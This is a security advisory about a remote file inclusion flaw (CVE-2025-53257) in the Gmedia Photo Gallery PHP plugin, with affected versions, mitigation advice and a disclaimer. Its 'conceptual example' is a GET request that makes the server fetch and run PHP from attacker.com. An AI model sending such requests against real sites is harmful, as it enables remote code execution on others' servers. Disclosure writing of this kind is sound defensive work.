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CVE-2025-53257: PHP Remote File Inclusion Vulnerability in Gmedia Photo Gallery

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Overview

A critical vulnerability has been discovered in the Gmedia Photo Gallery, a popular photo gallery software developed by Serhii Pasyuk. This vulnerability, officially labeled as CVE-2025-53257, resides in the improper control of filename for include/require statement in the software’s PHP program. If exploited, this vulnerability could lead to system compromise or data leakage, posing a significant risk to any organization or individual utilizing the Gmedia Photo Gallery software.

Vulnerability Summary

CVE ID: CVE-2025-53257
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

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Product | Affected Versions

Gmedia Photo Gallery | up to version 1.23.0

How the Exploit Works

The vulnerability stems from an improper control of filename for include/require statement in the PHP program of the Gmedia Photo Gallery software. An attacker can exploit this by remotely including a file from a server of their choice, thereby manipulating the path of the file. This can allow the attacker to execute arbitrary PHP code on the server running the Gmedia Photo Gallery application.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited, by making a HTTP request with a malicious payload:

GET /gmedia-gallery.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.com

In the above example, the attacker is instructing the server to fetch and execute a PHP file from an external source (`attacker.com`).

Mitigation Guidance

Users are advised to update their Gmedia Photo Gallery software to the latest version, as patches have been applied to mitigate this vulnerability. In the absence of an immediate update, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can also serve as a temporary mitigation strategy.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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